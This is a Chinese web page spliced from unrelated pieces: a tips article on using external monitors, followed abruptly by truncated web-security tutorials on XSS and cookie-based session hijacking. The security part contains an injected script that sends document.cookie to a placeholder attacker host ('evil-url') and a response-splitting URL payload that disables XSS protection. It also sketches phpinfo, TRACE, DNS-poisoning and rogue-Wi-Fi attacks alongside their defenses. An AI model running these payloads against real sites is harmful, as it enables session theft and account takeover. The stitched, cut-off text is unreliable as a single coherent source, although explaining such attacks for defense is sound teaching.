整合营销服务商

电脑端+手机端+微信端=数据同步管理

免费咨询热线:

不知道这些使用技巧,你的显示器就白买了

不知道这些使用技巧,你的显示器就白买了

文来自少数派

不少公司、机构都提供了外接显示器。不过,屏幕大了,利用率却不见得就跟着提了上去,如果你此时正身处办公室,可以起身看看同事的电脑屏幕,相信能看到不少窗口随意堆叠、应用全部集中在屏幕底部的情况。很多人对外接显示器的利用率其实不高。

本文就教你用外接显示器搭建一个高效的工作环境,把这块大屏幕的潜力充分发掘出来。

注:本文以 macOS 环境为主,部分技巧在 Windows 系统下也适用。

长按二维码关注少数派(ID:sspaime),在后台回复「Windows」或「macOS」GET 到更多好用的利器和技巧。

为什么要外接一块显示器

用好外接显示器,可以显著帮我们提升工作效率。

从最直观的感受上来说,外接显示器可以给我们更大的空间,还可以帮我们抬高视线、带来更舒服的使用姿势。如果你有一张符合人体工学的椅子,你甚至可以半倚靠在上面办公,这是缩在笔记本电脑前工作的人无福享受的。

而在功能上,我们不仅有更大的空间来进行多任务处理(并排展示更多窗口),还可以解锁一些应用的特殊模式——比如 Photoshop 和 Final Cut Pro X 的「监视模式」,就能把外接显示器变成「监视器」:在电脑上编辑、在显示器上实时预览效果。

一边编辑一边预览 图/Apple

另外,现在不少笔记本电脑逐渐向轻量化发展,接口越砍越少,很大程度上是在牺牲功能换取轻薄便携;而外接显示器基本都自带拓展接口(Hub),无疑缓解了电脑接口的压力。尤其对于使用 MacBook 这种接口紧张的产品来说,外接显示器的上的一排 USB 接口可以说是及时雨了。

窗口管理

外接显示器虽然有了更多的屏幕空间,但是也需要窗口管理,不然堆积的窗口只会把大屏幕变成大号「垃圾场」,更不利于我们找东西。

和在笔记本电脑上不同,外接显示器尺寸实在太大,如果还是用时下流行的「拖拽」操作来控制窗口,估计书桌那点位置还不够你移鼠标的(笑)。我更喜欢用快捷键来调整窗口大小,Mac 上免费开源的 Spectacle 刚好够用,几组快捷键迅速实现半屏、居中、边角等常用布局。

Spectacle

Windows 用户管理起窗口来就很轻松了,系统自带了快捷键 Win + ←/→来快速左右分屏。

Windows 分屏 图/沨沄极客

另外,在浏览器里也能实现「分屏」浏览。这是一个 Bookmarklet 小工具(书签插件),能够并列打开两个页面来显示同一个网页,便于对比阅读。有些文章非常长,读到后面想滚动回去看之前的内容会很麻烦,至少我在读一篇六七千字的文章时,如果看到一句「前文提到过……」,我就有不好的预感,往往结果是好不容易找到「前文」在哪,又找不到刚才的阅读进度。有了这个小工具就方便很多,能够对照着阅读文章,特别是超长的教程文,两边一起读,照着操作的时候就不用手忙脚乱上下翻滚网页。

浏览器分屏

这个 Bookmarklet 自制即可。在浏览器里随便新建一个书签,把网址换成下面这串代码粘,想「分屏」的时候点一下这枚书签就行了。适用于 Chrome、Firefox、Safari 等主流浏览器(可能太旧的版本不行),不限操作系统。

javascript:document.write('%3CHTML%3E%3CHEAD%3E%3C/HEAD%3E%3CFRAMESET%20COLS=\'50%25,*\'%3E%3CFRAME%20SRC='%20+%20location.href%20+%20'%3E%3CFRAME%20SRC='%20+%20location.href%20+%20'%3E%3C/FRAMESET%3E%3C/HTML%3E')

如果你用的显示器还不只一块(或者同时使用笔记本电脑和外接显示器),那么可能需要 ScreenFocus 来帮你管理多个屏幕。这个小工具可以让暂时不用的显示器自动变暗一些,避免分散你的注意力。另外,在光线较暗的环境里工作时,ScreenFocus 还能防止你被显示器「亮瞎」。

SceenFocus

屏幕校色

对于多数用户来说,Mac 电脑自带显示器的颜色还是比较标准的,不过外接显示器的显示效果就不一定和 Mac 一样了,甚至同一张照片在 Mac 内置显示器和外接显示器上看起来像是两张不一样的图片,色差非常大,用这种状态的显示器,做出来的图我自己都不认识。

调整前的色差

其实可以把外接显示器的颜色调得和 Mac 内置显示器差不多。你可能听到过所谓的「苹果色」,其实这就是苹果显示器默认的一种色彩风格,通过 macOS 内置的颜色设置大致也能模拟出来。对于没有专业设计需求的用户来说,调整的色差已经可以接受了。

首先打开系统设置 - 显示器 - 颜色,此时会跳出两个设置窗口,我们选择位于外接显示器上的那个。

外接显示器颜色配置

接下来是重点,苹果已经把高级的配置选项藏起来了,我们需要按住 ?Option键再点击「校色」,才能找回以前的「专家模式」,获得更大的调整空间。

开启专家模式校色

选项虽多,多数外接显示器需要调节的参数只有 Native Gamma(原生灰度系数),调节时会出现一只飘在黑线上的苹果,移动两边的蓝色锚点让苹果尽可能和黑线融为一体,这样调节后的屏幕颜色会和 Mac 原生的色彩较为接近。一般来说主要移动左侧锚点即可,如果显示器的颜色偏差肉眼可见,那则需要调节一下右边的锚点。其他设置保持系统默认值即可。

颜色调整

调整后的外接显示器看起来就舒服多了:

调整后的色差

壁纸设置

除了上面这些比较偏功能性的配置,最后再分享一个更偏向个性化的技巧:为外接显示器设置单独的壁纸。

平时我们可能爱用非常个性的壁纸——比如和明星的合照——但是你估计不太希望公司的 27 寸外接显示器上出现这张自拍。我们可以为外接显示器设置单独的壁纸,我就使用了风格简约的图片:

为外接显示器设置单独的壁纸(左)

设置方法很简单,打开「系统设置 - 桌面与屏幕保护程序 - 桌面」,外接显示器上也会弹出一个设置界面,直接选想要的壁纸就行了。

当然,纯粹为了换换心情而为两块屏幕设置不同的壁纸也完全没问题。

结语

搬进更大的房间,但是不注意打扫,住得可能就不舒服;显示器也是一样,如果不进行管理和调教,窗口该堆积的还是会继续堆积,很难发挥出大屏幕的优势。

对窗口、颜色、壁纸等方面进行调教之后,外接显示器方能真正提高我们的工作效率。

站脚本(Cross-Site scripting),又叫XSS,这个术语表示了一类安全问题,也就是攻击者向目标Web站点注入了HTML标签或脚本。

下面我们就来了解一下其背后的原理和如何进行简单的防御。

1. 攻击原理

如果一个Web页面动态地产生文档内容,并且这些文档内容是基于用户提交的数据的,而并没有通过从中移除任何嵌入的HTML标签来”消毒”的话,那么这个Web页面很容易遭到跨站脚本的攻击。

例如:脚本使用JavaScript通过用户名字来向用户问好

1
2
var name=decodeURIComponent(window.location.search.substring(1) || '');
document.write('hello '+name);

考虑如果URL为

http://www.example.com/greet.html?%3Cscript%3Ealert('David')%3C/script%3E

注入的脚本就会显示一个对话框。此外,可以把其他站点的脚本注入到目标站点中,注入的脚本就可以对站点A的内容进行任何想要的操作。

2. 防止XSS攻击的办法

2.1 标签符号转义

在使用任何不可信的数据来动态的创建文档内容之前,对输出的内容进行标签符号的转义

function htmlEsc(s){
 if(!s) return "";
 s=s + "";
 if(s.length==0) return "";
 s=s.replace(/&/g, "&");
 s=s.replace(/</g, "<");
 s=s.replace(/>/g, ">");
 s=s.replace(/ /g, " ");
 s=s.replace(/\'/g, "'");
 s=s.replace(/\"/g, """);
 s=s.replace(/\n/g, "<br>");
 return s;
}

要养成这种意识

2.2 iframe的sandbox属性

HTML5为元素定义了一个sandbox属性,在实现之后,它运行显示不可信的内容,并自动禁止脚本。

、cookie的基本特性

如果不了解cookie,可以先到wikipedia上学习一下。

http request

浏览器向服务器发起的每个请求都会带上cookie:

Host: www.example.org
Cookie: foo=value1;bar=value2
Accept: */*

http response

服务器给浏览器的返回可以设置cookie:

HTTP/1.1 200 OK
Content-type: text/html
Set-Cookie: name=value
Set-Cookie: name2=value2; Expires=Wed,09 June 2021 10:18:32 GMT
 
(content of page)

二、cookie有关的术语

session cookie

当cookie没有设置超时时间,那么cookie会在浏览器退出时销毁,这种cookie是session cookie。

persistent cookie/tracking cookie

设置了超时时间的cookie,会在指定时间销毁,cookie的维持时间可以持续到浏览器退出之后,这种cookie被持久化在浏览器中。很多站点用cookie跟踪用户的历史记录,例如广告类站点会使用cookie记录浏览过哪些内容,搜索引擎会使用cookie记录历史搜索记录,这时也可以称作tracking cookie,因为它被用于追踪用户行为。

secure cookie

服务器端设置cookie的时候,可以指定secure属性,这时cookie只有通过https协议传输的时候才会带到网络请求中,不加密的http请求不会带有secure cookie。设置secure cookie的方式举例:

Set-Cookie: foo=bar; Path=/; Secure

HttpOnly cookie

服务器端设置cookie的时候,也可以指定一个HttpOnly属性。

Set-Cookie: foo=bar; Path=/; HttpOnly

设置了这个属性的cookie在javascript中无法获取到,只会在网络传输过程中带到服务器。

third-party cookie

第三方cookie的使用场景通常是iframe,例如www.a.com潜入了一个www.ad.com的广告iframe,那么www.ad.com设置的cookie属于不属于www.a.com,被称作第三方cookie。

supercookie

cookie会从属于一个域名,例如www.a.com,或者属于一个子域,例如b.a.com。但是如果cookie被声明为属于.com会发生什么?这个cookie会在任何.com域名生效。这有很大的安全性问题。这种cookie被称作supercookie。浏览器做出了限制,不允许设置顶级域名cookie(例如.com,.net)和pubic suffix cookie(例如.co.uk,.com.cn)。现代主流浏览器都很好的处理了supercookie问题,但是如果有些第三方浏览器使用的顶级域名和public suffix列表有问题,那么就可以针对supercookie进行攻击啦。

zombie cookie/evercookie

僵尸cookie是指当用户通过浏览器的设置清除cookie后可以自动重新创建的cookie。原理是通过使用多重技术记录同样的内容(例如flash,silverlight),当cookie被删除时,从其他存储中恢复。 evercookie是实现僵尸cookie的主要技术手段。 了解僵尸cookie和evercookie。

三、cookie有什么用

通常cookie有三种主要的用途。

session管理

http协议本身是是无状态的,但是现代站点很多都需要维持登录态,也就是维持会话。最基本的维持会话的方式是Base Auth,但是这种方式,用户名和密码在每次请求中都会以明文的方式发送到客户端,很容易受到中间人攻击,存在很大的安全隐患。所以现在大多数站点采用基于cookie的session管理方式:用户登陆成功后,设置一个唯一的cookie标识本次会话,基于这个标识进行用户授权。只要请求中带有这个标识,都认为是登录态。

个性化

cookie可以被用于记录一些信息,以便于在后续用户浏览页面时展示相关内容。典型的例子是购物站点的购物车功能。以前Google退出的iGoogle产品也是一个典型的例子,用户可以拥有自己的Google自定制主页,其中就使用了cookie。

user tracking

cookie也可以用于追踪用户行为,例如是否访问过本站点,有过哪些操作等。

四、cookie窃取和session劫持

本文就cookie的三种用途中session管理的安全问题进行展开。 既然cookie用于维持会话,如果这个cookie被攻击者窃取会发生什么?session被劫持! 攻击者劫持会话就等于合法登录了你的账户,可以浏览大部分用户资源。

最基本的cookie窃取方式:xss漏洞

攻击一旦站点中存在可利用的xss漏洞,攻击者可直接利用注入的js脚本获取cookie,进而通过异步请求把标识session id的cookie上报给攻击者。

var img=document.createElement('img');
img.src='http://evil-url?c='+ encodeURIComponent(document.cookie);
document.getElementsByTagName('body')[0].appendChild(img);

如何寻找XSS漏洞是另外一个话题了,自行google之。 防御 根据上面HttpOnly cookie的介绍,一旦一个cookie被设置为HttpOnly,js脚本就无法再获取到,而网络传输时依然会带上。也就是说依然可以依靠这个cookie进行session维持,但客户端js对其不可见。那么即使存在xss漏洞也无法简单的利用其进行session劫持攻击了。 但是上面说的是无法利用xss进行简单的攻击,但是也不是没有办法的。既然无法使用document.cookie获取到,可以转而通过其他的方式。下面介绍两种xss结合其他漏洞的攻击方式。

xss结合phpinfo页面

攻击 大家都知道,利用php开发的应用会有一个phpinfo页面。而这个页面会dump出请求信息,其中就包括cookie信息。

如果开发者没有关闭这个页面,就可以利用xss漏洞向这个页面发起异步请求,获取到页面内容后parse出cookie信息,然后上传给攻击者。 phpinfo只是大家最常见的一种dump请求的页面,但不仅限于此,为了调试方便,任何dump请求的页面都是可以被利用的漏洞。 防御关闭所有phpinfo类dump request信息的页面。

XSS + HTTP TRACE=XST

这是一种古老的攻击方式,现在已经消失,写在这里可以扩展一下攻防思路。http trace是让我们的web服务器将客户端的所有请求信息返回给客户端的方法。其中包含了HttpOnly的cookie。如果利用xss异步发起trace请求,又可以获取session信息了。之所以说是一种古老的攻击方式,因为现代浏览器考虑到XST的危害都禁止了异步发起trace请求。另外提一点,当浏览器没有禁止异步发起trace的时代,很多开发者都关闭了web server的trace支持来防御XST攻击。但攻击者在特定的情况下还可以绕过,用户使用了代理服务器,而代理服务器没有关闭trace支持,这样又可以trace了。

HTTP Response Splitting

通常的XSS攻击都是把输入内容注入到response的content中,HTTP Response Splitting是一种针对header的注入。例如,一个站点接受参数做302跳转:

www.example.com/?r=http://baidu.com

request信息:

GET /example.com?r=http://baidu.com

HTTP/1.1

Host: example.com

response:

HTTP/1.1 302 Found
Location: http://baidu.com
Content-Type: text/html

这样页面就302跳转到百度了。攻击者利用r参数可以注入header,r参数不是简单的url,而是包含的header信息:

 
http://example.com/?r=%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aX-XSS-Protection:%200%0d%0a%0d%0a%3Chtml%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3Ch1%3EDefaced!%3C/h1%3E%3C/html%3E
 

response变成了:

HTTP/1.1 302 Found
Location: 
HTTP/1.1 200 OK
Content-Type: text/html
X-XSS-Protection: 0
 
<html><script>alert(document.cookie)</script><h1>Defaced!</h1></html>
Content-Type: text/html

有两个攻击要点:

  • 指定X=XSS-Protection: 0 ,关闭浏览器的xss保护机制。
  • 注入脚本

防御 针对header的内容做过滤,不能漏掉,特别是Location,host,referrer等。说到底,这也是一种XSS攻击,只是攻击方式与普通的不太一样。针对header的攻击还可以做SQL注入等,防御的原则是对所有的输入进行sanitize,包括非用户输入的内容,比如referrer这种一般由浏览器带过来的信息,因为请求完全可以被伪造,未必来自浏览器。

网络监听(network eavesdropping/network sniffing)

以上是利用上层应用的特性的几种攻击方式,cookie不仅存在于上层应用中,更流转于请求中。上层应用获取不到后,攻击者可以转而从网络请求中获取。只要是未使用https加密的网站都可以抓包分析,其中就包含了标识session的cookie。当然,完成网络监听需要满足一定的条件,这又是另外一个话题了。常见的方式:

  • DNS缓存投毒攻击者把要攻击的域名的一个子域映射到攻击者的server,然后想办法让被攻击者访问这个server(XSS request、社会化攻击等),请求中会带过来所有cookie(包括HttpOnly)。
  • 中间人攻击常见的攻击方式是搭建免费wifi,把DHCP服务器指定为攻击者ip,在攻击者机器上可以收到所有请求,不仅可以获取cookie,还可以进行脚本注入。
  • 代理服务器/VPN翻墙用免费VPN?呵呵。

防御使用https。使用https协议的请求都被ssl加密,理论上不可破解,即便被网络监听也无法通过解密看到实际的内容。防御网络监听通常有两种方式:

  • 信道加密
  • 内容加密

https是加密信道,在此信道上传输的内容对中间人都是不可见的。但https是有成本的。内容加密比较好理解,例如对password先加密再传输。但是对于标识session的cookie这种标识性信息是无法通过内容加密得到保护的。那么,使用https的站点就可以高枕无忧了吗?事实上,一些细节上的处理不当同样会暴露出攻击风险。

https站点攻击:双协议

如果同时支持http和https,那么还是可以使用网络监听http请求获取cookie。 防御只支持https,不支持http。这样就好了吗?No.

https站点攻击:301重定向

例如www.example.com只支持https协议,当用户直接输入example.com(大部分用户都不会手动输入协议前缀),web server通常的处理是返回301要求浏览器重定向到https://www.example.com。这次301请求是http的!而且带了cookie,这样又将cookie明文暴露在网络上了。 防御1 把标识session的cookie设置成secure。上面提到的secure cookie,只允许在https上加密传输,在http请求中不会存在,这样就不会暴露在未加密的网络上了。 然后现实很残酷,很多站点根本无法做到所有的请求都走https。原因有很多,可能是成本考虑,可能是业务需求。 防御2 设置Strict-Transport-Security header,直接省略这个http请求!用户首次访问后,服务器设置了这个header以后,后面就会省略掉这次http 301请求。更多点此 乌云案例

思考

如果偷取cookie失败,无法session劫持,攻击者如何再发起攻击?劫持session的目的是拿到登录态,从而获得服务器授权做很多请求,例如账户变更。如果劫持不到session,也能够做授权请求不是也达到攻击的目的了?无需拿到session cookie,跨站发起请求就可以了,这就是CSRF!server通过把用户凭证存储在cookie以维持session,http/https协议每次访问都会自动传输cookie,协议上的缺陷是导致可进行CSRF攻击的根本原因!防御方式:使用anti-forgery token

大部分攻击都是提权行为,最基本的提权通过偷取用户名密码,不成功转而窃取session,窃取不成转而跨站攻击,实在不行重放也可以造成危害